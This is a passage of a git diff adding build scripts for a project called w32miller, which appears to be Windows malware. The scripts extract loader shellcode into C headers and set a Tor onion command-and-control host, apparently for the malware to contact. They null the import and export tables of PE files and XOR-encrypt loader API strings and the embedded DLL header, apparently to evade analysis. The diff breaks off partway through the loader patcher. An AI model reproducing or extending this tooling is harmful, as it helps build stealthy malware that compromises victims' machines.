+echo ----------------------
+git for-each-ref --sort='*authordate' --format='%(tag)' refs/tags |tac |grep -v '^$' | while read TAG ; do
+ echo
+ if [ $NEXT ];then
+ echo [$NEXT]
+ else
+ echo "[Current]"
+ fi
+ GIT_PAGER=cat git log --no-merges --format=" * %s" $TAG..$NEXT
+ NEXT=$TAG
+done
+FIRST=$(git tag -l | head -1)
+echo
+echo [$FIRST]
+GIT_PAGER=cat git log --no-merges --format=" * %s" $FIRST
diff --git a/batch/genPatchFromDirs.sh b/batch/genPatchFromDirs.sh
new file mode 100755
index 0000000..b27dd18
--- /dev/null
+++ b/batch/genPatchFromDirs.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+
+if [ $# -ne 2 ]; then
+ printf "usage: %s [ORIG-DIR] [MODF-DIR]\n" "$0"
+ exit 1
+fi
+
+set -e
+
+NAME="$(basename $0)"
+ORIG="$(basename $1)"
+MODF="$(basename $2)"
+CHDIR="$(dirname $1)"
+TMPFILE="$(mktemp)"
+
+cd ${CHDIR}
+
+ret=0
+diff -Naur ${ORIG} ${MODF} >${TMPFILE} || ret=$?
+if [ $ret -ne 1 ]; then
+ printf "%s: %s\n" "${NAME}" "No diffs found."
+ exit 1
+fi
+
+ret=0
+command -v filterdiff >/dev/null 2>/dev/null || ret=$?
+if [ $ret -eq 0 ]; then
+ filterdiff --remove-timestamps ${TMPFILE} >${MODF}.patch
+else
+ printf "%s: %s\n" "${NAME}" "Command \`filterdiff\` not found. Can not remove timestamps from patch"
+ mv ${TMPFILE} ${MODF}.patch
+fi
+
+printf "%s: %s\n" "${NAME}" "Generated ${CHDIR}/${MODF}.patch"
diff --git a/batch/genShellcode.py b/batch/genShellcode.py
new file mode 100755
index 0000000..7ec9add
--- /dev/null
+++ b/batch/genShellcode.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python2.7
+
+import sys
+import os
+import re
+import subprocess
+from optparse import OptionParser, OptionGroup
+
+
+objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump'
+objdmp_args = '-z -D -j %s %s'
+bname = os.path.basename(sys.argv[0])
+
+
+def objdump_section(section, binary):
+ full_cmd = str(objdmp_bin)+' '+(str(objdmp_args) % (section,binary))
+ p = subprocess.Popen(full_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ repat = re.compile(r'^(?:\s+[0-9A-Fa-f]+:\s+)(([0-9A-Fa-f]{2}\s{1})+)')
+ insts = 0
+ scode = bytearray()
+ p.wait()
+ if p.returncode != 0:
+ sys.stderr.write(bname + ': objdump command failed with %d: %s\n' % (p.returncode, full_cmd))
+ sys.exit(1)
+ for line in p.stdout.readlines():
+ r = repat.match(line)
+ if r:
+ insts += 1
+ insthex = str(r.group(1))
+ for byte in str(insthex).split(' '):
+ if len(byte) == 2:
+ scode += str(byte).decode('hex')
+ elif len(byte) != 0:
+ raise TypeError('Invalid byte in hex str: ' + str(byte))
+ return (scode, insts)
+
+def gen_cstr(bytebuf):
+ cstr = str()
+ for byte in bytebuf:
+ cstr += '\\x'+str(hex(byte))[2:].zfill(2)
+ return cstr
+
+def write_header(path, dpref, cstr, csiz, insts):
+ with open(path, 'a+b') as out_hdr:
+ outstr = \
+ '#undef {0}\n' \
+ '#undef {0}_SIZE\n' \
+ '#undef {0}_INSTS\n\n' \
+ '#define {0} "{1}"\n' \
+ '#define {0}_SIZE {2}\n' \
+ '#define {0}_INSTS {3}\n\n\n'.format(dpref, cstr, csiz, insts)
+ out_hdr.write(outstr)
+ out_hdr.flush()
+
+# example: genShellcode.py --section=.minit --binary=lib/libloader_x86.a --define-prefix=LOADER_SHELLCODE --file=include/loader_x86.h
+if __name__ == '__main__':
+ parser = OptionParser()
+ parser.add_option('-o', '--objdump', dest='objdmp_bin', default=objdmp_bin,
+ help='path to objdump binary [default: %default]')
+ parser.add_option('-s', '--section', dest='section', help='target section which shellcode will be extracted [required]')
+ parser.add_option('-b', '--binary', dest='binary', help='target binary which we want extract shellcode from [required]')
+ parser.add_option('-d', '--define-prefix',
+ dest='prefix', help='set #define prefix name [required]')
+ parser.add_option('-f', '--file', dest='file', help='set output header file [required]')
+ (options, args) = parser.parse_args()
+
+ doAbort = False
+ if options.section is None:
+ sys.stderr.write(bname + ': Target section is required.\n')
+ doAbort = True
+ if options.binary is None:
+ sys.stderr.write(bname + ': Target binary is required.\n')
+ doAbort = True
+ if options.prefix is None:
+ sys.stderr.write(bname + ': A `#define` prefix is required.\n')
+ doAbort = True
+ if options.file is None:
+ sys.stderr.write(bname + ': A output header filename is required.\n')
+ doAbort = True
+
+ if doAbort is True:
+ sys.exit(1)
+
+ (shellcode, instructions) = objdump_section(options.section, options.binary)
+ cstr = gen_cstr(shellcode)
+ write_header(options.file, options.prefix, cstr, len(shellcode), instructions)
+
+ sys.exit(0)
diff --git a/batch/gpgEncryptProject.sh b/batch/gpgEncryptProject.sh
new file mode 100755
index 0000000..c8a8615
--- /dev/null
+++ b/batch/gpgEncryptProject.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+
+set -e
+
+GEN_PASSWD=0
+if [ $(command -v date 2>&1) != "" -a \
+ $(command -v sha256sum 2>&1) != "" -a \
+ $(command -v base64 2>&1) != "" -a \
+ $(command -v head 2>&1) != "" ]; then
+ echo "$0: generating random passphrase"
+ GEN_PASSWD=1
+fi
+#date +%s | sha256sum | base64 | head -c 40 ; echo
+
+
+file="$(dirname $0)/../bin/w32miller.tar.gz"
+mkdir -p "$(dirname ${file})"
+
+git archive --prefix 'w32miller/' -o ${file} HEAD
+if [ ${GEN_PASSWD} -eq 1 ]; then
+ PASSPHRASE=$(date +%s | sha256sum | base64 | head -c 40)
+ gpg --cipher-algo AES256 --yes --passphrase "${PASSPHRASE}" -a -c ${file}
+else
+ gpg --cipher-algo AES256 -a -c ${file}
+fi
+
+if [ $(command -v wipe 2>&1) != "" ]; then
+ wipe -q -f ${file}
+fi
+
+echo "$0: generated armored gpg symmetric encrypted file: ${file}"
+if [ ! -z "${PASSPHRASE}" ]; then
+ echo "$0: PASSPHRASE: ${PASSPHRASE}"
+fi
diff --git a/batch/millerCncOnionHost.sh b/batch/millerCncOnionHost.sh
new file mode 100755
index 0000000..e01d6b0
--- /dev/null
+++ b/batch/millerCncOnionHost.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+set -e
+
+TORHFILE=/var/lib/tor/hidden_service/hostname
+DEST="$(dirname $0)/../deps/sysroot/${TORHFILE}"
+DEFINE="HTTP_ONION"
+
+if [ $# -ne 1 ]; then
+ echo -e "usage: $0 [INCLUDE-FILE]\n\te.g. $0 $(realpath $(dirname $0)/../include/xor_strings.h)" >&2
+ exit 1
+fi
+
+if [ -r "${DEST}" ]; then
+ DEST=$(realpath "${DEST}")
+ echo "$0: TOR Hidden Service hostname file: ${DEST} -> $(cat ${DEST})" >&2
+ CURR_HOST=$(sed -n 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/\1/p' ${1})
+ WANT_HOST=$(cat ${DEST} | cut -d'.' -f1)
+ if [ "${CURR_HOST}" = "${WANT_HOST}" ]; then
+ echo "$0: WARNING: ${DEFINE} is already the same: ${CURR_HOST} == ${WANT_HOST}" >&2
+ exit 0
+ fi
+ sed -i 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/#define '${DEFINE}' "'$(cat ${DEST} | cut -d'.' -f1)'"/' ${1}
+else
+ echo "$0: WARNING: ${DEST} not FOUND !" >&2
+fi
diff --git a/batch/millerSectionFromInclude.sh b/batch/millerSectionFromInclude.sh
new file mode 100755
index 0000000..3b24afa
--- /dev/null
+++ b/batch/millerSectionFromInclude.sh
@@ -0,0 +1,15 @@
+#!/bin/sh
+
+set -e
+
+DEST="${1}"
+DEFN="${2}"
+
+if [ -z "${DEST}" -o -z "${DEFN}" ]; then
+ echo "usage: $0 [INCLUDE-FILE] [INCLUDE-DEFINITION]" >&2
+ false
+fi
+
+test -r ${DEST}
+OUTPUT=$(cat ${DEST} | sed -n 's/#define\s\+'"${DEFN}"'\s\+"\(.*\)"$/\1/p')
+echo -n ${OUTPUT}
diff --git a/batch/miller_linker_script.ld b/batch/miller_linker_script.ld
new file mode 100644
index 0000000..05dc682
--- /dev/null
+++ b/batch/miller_linker_script.ld
@@ -0,0 +1,88 @@
+OUTPUT_FORMAT(pei-i386)
+SECTIONS
+{
+ /* w32miller default linker script */
+ /* Make the virtual address and file offset synced if the alignment is
+ lower than the target page size. */
+ . = SIZEOF_HEADERS;
+ . = ALIGN(__section_alignment__);
+ .text __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) : SUBALIGN(0x0)
+ {
+ __text_start__ = . ;
+ *(.text)
+ *(.text$*)
+ *(.text.*)
+ *(.rdata)
+ *(.rdata$*)
+ *(.rdata.*)
+
+ __rt_psrelocs_start = .;
+ *(.rdata_runtime_pseudo_reloc)
+ __rt_psrelocs_end = .;
+
+ __text_end__ = . ;
+ }
+
+ /* .data BLOCK(__section_alignment__) : */
+ .data . : SUBALIGN(0x0)
+ {
+ __data_start__ = . ;
+ *(.data)
+ *(.data2)
+ *(.data$*)
+ *(.jcr)
+ *(.bss)
+ *(COMMON)
+ __data_end__ = . ;
+ }
+
+ __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start;
+ ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+ __RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+ ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+ __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+
+ /DISCARD/ :
+ {
+ *(.init)
+ *(.etext)
+ *(._etext)
+ *(.debug$S)
+ *(.debug$T)
+ *(.debug$F)
+ *(.drectve)
+ *(.note.GNU-stack)
+ *(.gnu.lto_*)
+ *(.pdata)
+ *(.eh_frame*)
+ *(.crt)
+ *(.CRT$XC*) /* C initialization */
+ *(.CRT$XI*) /* C++ initialization */
+ *(.CRT$XL*) /* TLS callbacks */
+ *(.CRT$XP*) /* Pre-termination */
+ *(.CRT$XT*) /* Termination */
+ *(.tls)
+ *(.tls$AAA)
+ *(.tls)
+ *(.tls$)
+ *(.tls$ZZZ)
+ *(.rsrc)
+ *(.rsrc$*)
+ *(.stab)
+ *(.stabstr)
+ *(.debug_*)
+ *(.zdebug_*)
+ }
+ .endjunk BLOCK(__section_alignment__) :
+ {
+ /* end is deprecated, don't use it */
+ PROVIDE (end = .);
+ PROVIDE ( _end = .);
+ __end__ = .;
+ }
+
+ .reloc : SUBALIGN(0x0)
+ {
+ *(.reloc)
+ }
+}
diff --git a/batch/nullDataDirs.py b/batch/nullDataDirs.py
new file mode 100755
index 0000000..02e8576
--- /dev/null
+++ b/batch/nullDataDirs.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+
+def main(argv):
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ buf[0xF8:0x100] = '\x00' * (0x100-0xF8) # export table
+ buf[0x100:0x108] = '\x00' * (0x108-0x100) # import table
+ with open(argv[0], "wb") as fout:
+ fout.write(str(buf))
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print os.path.basename(sys.argv[0]) + ' usage: ' + sys.argv[0] + ' [PE-FILE]'
+ sys.exit(1)
+ print os.path.basename(sys.argv[0]) + ': NULL\'ing Import/Export Data Directory Entries ..'
+ main(sys.argv[1:])
+ sys.exit(0)
diff --git a/batch/old/bindiff.sh b/batch/old/bindiff.sh
new file mode 100755
index 0000000..e598c6b
--- /dev/null
+++ b/batch/old/bindiff.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+
+if [ "x$1" = "x" ] || [ "x$2" = "x" ]; then
+ echo "$0: [FILE1] [FILE2]"
+ exit 1
+fi
+
+xxd "$1" > "$1.hex"
+xxd "$2" > "$2.hex"
+diff -du "$1.hex" "$2.hex" 2>&1 | less
+rm -f "$1.hex" "$2.hex"
diff --git a/batch/old/genShellcode.sh b/batch/old/genShellcode.sh
new file mode 100755
index 0000000..bf0327a
--- /dev/null
+++ b/batch/old/genShellcode.sh
@@ -0,0 +1,61 @@
+#!/bin/bash
+
+set -e
+
+OBJDUMP="$(dirname $0)/../deps/sysroot/bin/i686-w64-mingw32-objdump"
+OBJDUMP_ARGS="-z -D"
+TMPFILE="$(mktemp)"
+
+
+if [ ! -x ${OBJDUMP} ]; then
+ echo "$0: ${OBJDUMP} not found!"
+ false
+fi
+
+if [ "x$1" != "x" -a "x$2" != "x" -a "x$3" != "x" -a "x$4" != "x" ]; then
+ echo "$0: create tmpfile ${TMPFILE}"
+ OBJECTFILE="${1}"
+ OUTPUT="${2}"
+ DEFINE="${3}"
+ OBJDUMP_ARGS="${OBJDUMP_ARGS} -j ${4}"
+
+ DO_APPEND=0
+ if [ "x$5" != "x" ]; then
+ echo "$5" | egrep -qi 'append.*=.*true' && DO_APPEND=1 || true
+ fi
+
+ if [ ! -r ${OBJECTFILE} ]; then
+ echo "$0: ${OBJECTFILE} not found or not readable"
+ false
+ fi
+
+ echo "$0: objdump command: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`"
+ export SIZE=0
+ if [ ${DO_APPEND} -eq 1 ]; then
+ echo "$0: APPENDING to ${OUTPUT}"
+ cp ${OUTPUT} ${TMPFILE}
+ echo >> ${TMPFILE}
+ echo '#undef '"${DEFINE}" >> ${TMPFILE}
+ else
+ echo '#undef '"${DEFINE}" > ${TMPFILE}
+ fi
+ echo -n '#define '"${DEFINE}"' "' >> ${TMPFILE}
+ # TODO: use objdump -s to show everything (-d shows only valid opcodes)
+ for i in $(${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE} |grep "^ " |cut -f2); do
+ echo -n '\x'$i >>${TMPFILE}
+ SIZE=$(expr $SIZE + 1)
+ done
+ if [ $SIZE -eq 0 ]; then
+ echo "$0: Whoops! Something went wrong (SIZE=0)."
+ echo "$0: Check output manually with: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`"
+ false
+ fi
+ echo '"' >>${TMPFILE}
+ echo '#undef '"${DEFINE}"'_SIZE' >> ${TMPFILE}
+ echo '#define '"${DEFINE}"'_SIZE '"${SIZE}" >> ${TMPFILE}
+ mv ${TMPFILE} ${OUTPUT}
+ echo "$0: moved ${TMPFILE} to ${OUTPUT}"
+else
+ echo "usage: $0 [OBJECT-FILE or STATIC-LIB] [OUTPUT-HEADER] [OUTPUT-DEFINE] [LOADER-SECTION] [DO-APPEND=[TRUE|FALSE]]"
+ exit 1
+fi
diff --git a/batch/old/genhex.sh b/batch/old/genhex.sh
new file mode 100755
index 0000000..114ea34
--- /dev/null
+++ b/batch/old/genhex.sh
@@ -0,0 +1,18 @@
+#!/bin/bash
+
+if [ -z "$1" ]; then
+ DPATH="$(pwd)"
+else
+ DPATH="$1"
+fi
+
+echo "$0: generate *.hex files in $(ls ${DPATH})"
+for file in $(ls ${DPATH}); do
+ [ -d ${file} ] && continue
+ FLEN=$((${#file}-4))
+ FSUFFIX=${file:$FLEN:4}
+ if [ "$FSUFFIX" != ".hex" ]; then
+ xxd "${file}" > "${file}.hex"
+ fi
+done
+
diff --git a/batch/patchLoader.py b/batch/patchLoader.py
new file mode 100755
index 0000000..8697e0a
--- /dev/null
+++ b/batch/patchLoader.py
@@ -0,0 +1,465 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+import re
+import subprocess
+import random
+from optparse import OptionParser, OptionGroup
+
+
+objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump'
+pyload_name = 'pyloader'
+pyload_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pyload_name
+pycrypt_name = 'pycrypt'
+pycrypt_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pycrypt_name
+objdmp_sargs = '-h'
+objdmp_dargs = '-x'
+objdmp_retval = None
+
+
+def require_pyso(name, path):
+ try:
+ import imp
+ pymod = imp.load_dynamic(name, path)
+ except (ImportError, IOError):
+ return None
+ return pymod
+
+def parse_c_array(carr):
+ m = re.finditer(r'(([0-9a-fA-F]){2})+', carr)
+ ret = bytearray()
+ for val in m:
+ for byte in bytearray.fromhex(val.group()):
+ ret += struct.pack("B", byte & 0xFF)
+ return ret
+
+def objdump_print_err(bname):
+ if objdmp_retval is not None:
+ sys.stderr.write(bname + ': objdump ('+objdmp_bin+') returned: ' + str(objdmp_retval) + '\n')
+
+def objdump_data(path):
+ p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_dargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ found = 0
+ OBJDMP_NEED = [ 'ImageBase', 'SizeOfImage', 'SizeOfHeaders' ]
+ regexmstr = str().join(['|'+s for s in OBJDMP_NEED])[1:]
+ matchdict = {key: int(-1) for key in OBJDMP_NEED}
+ for line in p.stdout.readlines():
+ regex = re.match(r'^\s*('+regexmstr+')\s+([0-9a-fA-F]+)', line)
+ if regex:
+ found += 1
+ matchdict[regex.group(1)] = int(regex.group(2), 16)
+ retval = p.wait()
+ global objdmp_retval
+ objdmp_retval = retval
+ retlst = list()
+ retlst += [(retval,found)]
+ for key in OBJDMP_NEED:
+ retlst += [matchdict[key]]
+ return retlst
+
+def objdump_sections(path, section):
+ p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_sargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ r = False
+ for line in p.stdout.readlines():
+ regex = re.match(r'^\s+[0-9]+\s+'+section+r'\s+([0-9a-fA-F]+)\s+([0-9a-fA-F]+)\s+[0-9a-fA-F]+\s+([0-9a-fA-F]+)', line)
+ if regex:
+ secPtr = int(regex.group(3), 16)
+ secVma = int(regex.group(2), 16)
+ secSiz = int(regex.group(1), 16)
+ r = True
+ break
+ retval = p.wait()
+ global objdmp_retval
+ objdmp_retval = retval
+ if r and retval == 0:
+ return ( secVma, secPtr, secSiz )
+ else:
+ return ( None, None, None )
+
+def file_to_buf(path):
+ buf = bytearray()
+ with open(path, "rb") as fin:
+ for line in fin:
+ buf += line
+ return buf
+ return None
+
+def buf_to_file(path, buf):
+ with open(path, "wb") as fout:
+ fout.write(str(buf))
+ fout.flush()
+ return True
+ return False
+
+def find_endmarker_offset(endmarker, bytebuf, ldrPtr, ldrSiz):
+ if type(bytebuf) is not bytearray:
+ return -1
+ return str(buf).find(endmarker, 0 if ldrPtr is None else ldrPtr, 0 if ldrSiz is None or ldrSiz is None else ldrPtr+ldrSiz)
+
+def swapByteOrder32(bytebuf, offset):
+ if type(offset) == int and (type(bytebuf) == int or bytebuf is None):
+ intval = struct.unpack("<I", struct.pack(">I", offset))[0]
+ elif type(offset) == int and type(bytebuf) == bytearray:
+ intval = struct.unpack('<I', bytebuf[offset:offset+0x4])[0]
+ else: raise TypeError('bytebuf must be either int or bytearray')
+ return bytearray([(intval >> i & 0xff) for i in (24,16,8,0)])
+
+def setInt32(bytebuf, offset, intbuf):
+ if type(bytebuf) != bytearray or \
+ type(intbuf) != int or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(intbuf)))
+ bytebuf[offset:offset+4] = swapByteOrder32(None, intbuf)
+
+def getInt32(bytebuf, offset):
+ if type(bytebuf) != bytearray or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s)' % (type(bytebuf),type(offset)))
+ return swapByteOrder32(bytebuf, offset)
+
+def setInt32Buf(bytebuf, offset, buf):
+ if type(bytebuf) != bytearray or \
+ type(buf) != bytearray or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf)))
+ if len(buf) % 4 != 0:
+ raise TypeError('buffer length is not a multiple of 4: %d' % (len(buf)))
+ for i in range(0, len(buf), 4):
+ setInt32(bytebuf, offset+i, int(str(buf[i:i+4]).encode('hex'), 16))
+
+def getInt32Buf(bytebuf, offset, maxlen=4):
+ if type(bytebuf) != bytearray or \
+ type(offset) != int or \
+ type(maxlen) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf)))
+ if maxlen % 4 != 0:
+ raise TypeError('max length is not a multiple of 4: %d' % (maxlen))
+ retbuf = bytearray(maxlen)
+ for i in range(0, maxlen, 4):
+ retbuf[i:i+4] = getInt32(bytebuf, offset+i)
+ return retbuf
+
+def calcLoaderStructOffset(endmarkerOffset, loaderOffsets):
+ structsiz = loaderOffsets['structSize']
+ endmarkersiz = loaderOffsets['endMarkerSize']
+ return endmarkerOffset + endmarkersiz - structsiz
+
+# patches ptrToDLL, sizOfDLL
+def patchLoader(bytebuf, loaderOffsets, endmarkerOffset, (dllVma, dllPtr, dllSiz)):
+ buf = bytebuf
+ if buf is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ # loader: uint32_t ptrToDLL, uint32_t sizOfDLL
+ setInt32(bytebuf, structbase + loaderOffsets['ptrToDLL'], dllVma)
+ setInt32(bytebuf, structbase + loaderOffsets['sizOfDLL'], dllSiz)
+ return True
+
+# get loader iv/key or generate (and patch) it if user want so
+def getXorKeyIv(bytebuf, loaderOffsets, endmarkerOffset, gen_func=None):
+ buf = bytebuf
+ if buf is None:
+ return (None,None)
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ ldr_key = loaderOffsets['key[0]']
+ ldr_iv = loaderOffsets['iv[0]']
+ ldr_ivkeylen = loaderOffsets['ldrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz)
+ ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz)
+ keypatched = False
+ ivpatched = False
+ if keybuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None:
+ setInt32Buf(buf, structbase + ldr_key, gen_func(ldr_ivkeylen))
+ keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz)
+ keypatched = True
+ if ivbuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None:
+ setInt32Buf(buf, structbase + ldr_iv, gen_func(ldr_ivkeylen))
+ ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz)
+ ivpatched = True
+ return ( (keybuf, keypatched), (ivbuf, ivpatched) )
+
+def isLoaderStringsEncrypted(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None):
+ buf = bytebuf
+ if buf is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ abs_siz = ldr_strivkeylen*ldr_ivkeysiz
+ key = xorkey[:abs_siz]
+ iv = xoriv[:abs_siz]
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ idxVA = structbase + loaderOffsets['strVirtualAlloc[0]']
+ idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]']
+ strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1)
+ strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1)
+
+ retplain = bool(str(strVA).isalpha() is True and str(strIBRP).isalpha() is True)
+ if retplain is True:
+ retvalid = True
+ else:
+ decVA = getInt32Buf(xor_npcbc_func(strVA, key, iv), 0, ldr_sVALen-1)
+ decIBRP = getInt32Buf(xor_npcbc_func(strIBRP, key, iv), 0, ldr_sIBRPLen-1)
+ retvalid = bool(decVA.isalpha()) is True and bool(decIBRP.isalpha()) is True
+ return (retplain, retvalid)
+
+# patches (encrypt) loader strings
+def patchLoaderStrings(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None):
+ buf = bytebuf
+ if buf is None or xor_npcbc_func is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ abs_siz = ldr_strivkeylen*ldr_ivkeysiz
+ key = xorkey[:abs_siz]
+ iv = xoriv[:abs_siz]
+
+ idxVA = structbase + loaderOffsets['strVirtualAlloc[0]']
+ idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]']
+ strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1)
+ strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1)
+
+ (cipherVA, cipherIBRP) = ( xor_npcbc_func(strVA, key, iv), xor_npcbc_func(strIBRP, key, iv) )
+ if len(cipherVA) != ldr_sVALen -1 or len(cipherIBRP) != ldr_sIBRPLen -1:
+ return False
+ (plainVA, plainIBRP) = ( xor_npcbc_func(cipherVA, key, iv), xor_npcbc_func(cipherIBRP, key, iv) )
+ if plainVA != strVA or plainIBRP != strIBRP:
+ return False
+
+ setInt32Buf(buf, idxVA, cipherVA)
+ setInt32Buf(buf, idxIBRP, cipherIBRP)
+ return True
+
+def isDllHeaderEncrypted(buf, dllPtr):
+ e_lfanew_OFFSET = 0x3C
+ e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET:e_lfanew_OFFSET+0x4])[0]
+ if buf[dllPtr:dllPtr+0x2] != '\x4d\x5a' or e_lfanew < 0x40 or e_lfanew > 0x400:
+ return (False, False)
+ if len(buf) < e_lfanew+2:
+ return (True, False)
+ if buf[dllPtr+e_lfanew:dllPtr+e_lfanew+2] == '\x50\x45':
+ return (True, False)
+ return (True, True)
+
+def patchEncryptDll(buf, dllPtr, dllSiz, xorkey, xoriv, xor_npcbc_func=None):
+ if dllPtr+dllSiz < len(buf) or dllSiz % 8 != 0:
+ return (False, False, False)
+ hdrbuf = getInt32Buf(buf, dllPtr, dllSiz)
+ cipherHeader = xor_npcbc_func(hdrbuf, xorkey, xoriv)
+ if len(cipherHeader) != len(hdrbuf):
+ return (True, False, False)
+ plainHeader = xor_npcbc_func(cipherHeader, xorkey, xoriv)
+ if len(cipherHeader) != len(plainHeader):
+ return (True, True, False)
+ if hdrbuf != plainHeader:
+ return (True, True, False)
+ setInt32Buf(buf, dllPtr, cipherHeader)
+ return (True, True, True)
+
+
+if __name__ == "__main__":
+ parser = OptionParser()
+ parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout")
+ parser.add_option("-o", "--objdump", dest="objdmp_bin", default=objdmp_bin, help="path to mingw objdump binary [default: %default]")
+ parser.add_option("-f", "--out-file", dest="out_file", help="set output file [default: same as --win32]")
+ parser.add_option("-l", "--pyload", dest="pyload", default=pyload_so, help="set "+pyload_name+" path [required, default: %default]")
+ parser.add_option("-c", "--pycrypt", dest="pycrypt", default=pycrypt_so, help="set "+pycrypt_name+" path [required, default: %default]")
+ bingrp = OptionGroup(parser, "Binary Options", None)
+ bingrp.add_option("-w", "--win32", dest="win32_pe", help="path to windows pe binary which contains the loader [required]")
+ bingrp.add_option("-b", "--binary", dest="miller_bin", help="patch loader with sections from miller dll")
+ parser.add_option_group(bingrp)
+ ldrgrp = OptionGroup(parser, "WIN32_PE Options", None)
+ ldrgrp.add_option("-e", "--endmarker", dest="endmarker", help="set the loader endmarker value (4*n bytes)")
+ ldrgrp.add_option("-s", "--ldr-section", dest="section", help="specify the loader section name [required]")
+ ldrgrp.add_option("-t", "--dll-section", dest="target_section", help="psecify the dll section name")
+ ldrgrp.add_option("-r", "--crypt-strings", action="store_true", dest="crypt_strings", help="encrypt loader strings")
+ ldrgrp.add_option("-H", "--crypt-dll", action="store_true", dest="crypt_dll", help="encrypt dll pe header")
+ parser.add_option_group(ldrgrp)
+ actgrp = OptionGroup(parser, "Actions", None)
+ actgrp.add_option("-a", "--show-address", action="store_true", dest="show_adr", help="shows section offset (if found) from the pe binary")
+ actgrp.add_option("-z", "--show-size", action="store_true", dest="show_siz", help="shows section size (if found) from the pe binary")
+ actgrp.add_option("-m", "--show-marker", action="store_true", dest="show_marker", help="shows the endmarker (offset)")
+ actgrp.add_option("-k", "--show-xorkey", action="store_true", dest="show_xorkey", help="print XOR key to stdout")
+ actgrp.add_option("-i", "--show-xoriv", action="store_true", dest="show_xoriv", help="print XOR iv to stdout")
+ actgrp.add_option("-p", "--patch", action="store_true", dest="patch", default=False, help="patch the --section with address and size information from --target-section")
+ parser.add_option_group(actgrp)
+ (options, args) = parser.parse_args()
+
+ bname = os.path.basename(sys.argv[0])
+ # load *.so's if necessary
+ pyload = require_pyso(pyload_name, options.pyload)
+ # some commands need pycrypt module
+ pycrypt = require_pyso(pycrypt_name, options.pycrypt)
+ if pycrypt is None:
+ sys.stderr.write(bname + ': Could not import '+pycrypt_name+': ' + options.pycrypt + '.\n')
+ sys.exit(1)
+
+ endmarker = None
+ if pyload is None:
+ sys.stderr.write(bname + ': WARNING: Could not import '+pyload_name+': ' + options.pyload + '.\n')
+ if options.patch:
+ sys.stderr.write(bname + ': Patching requires '+pyload_name+'\n')
+ sys.exit(1)
+ else:
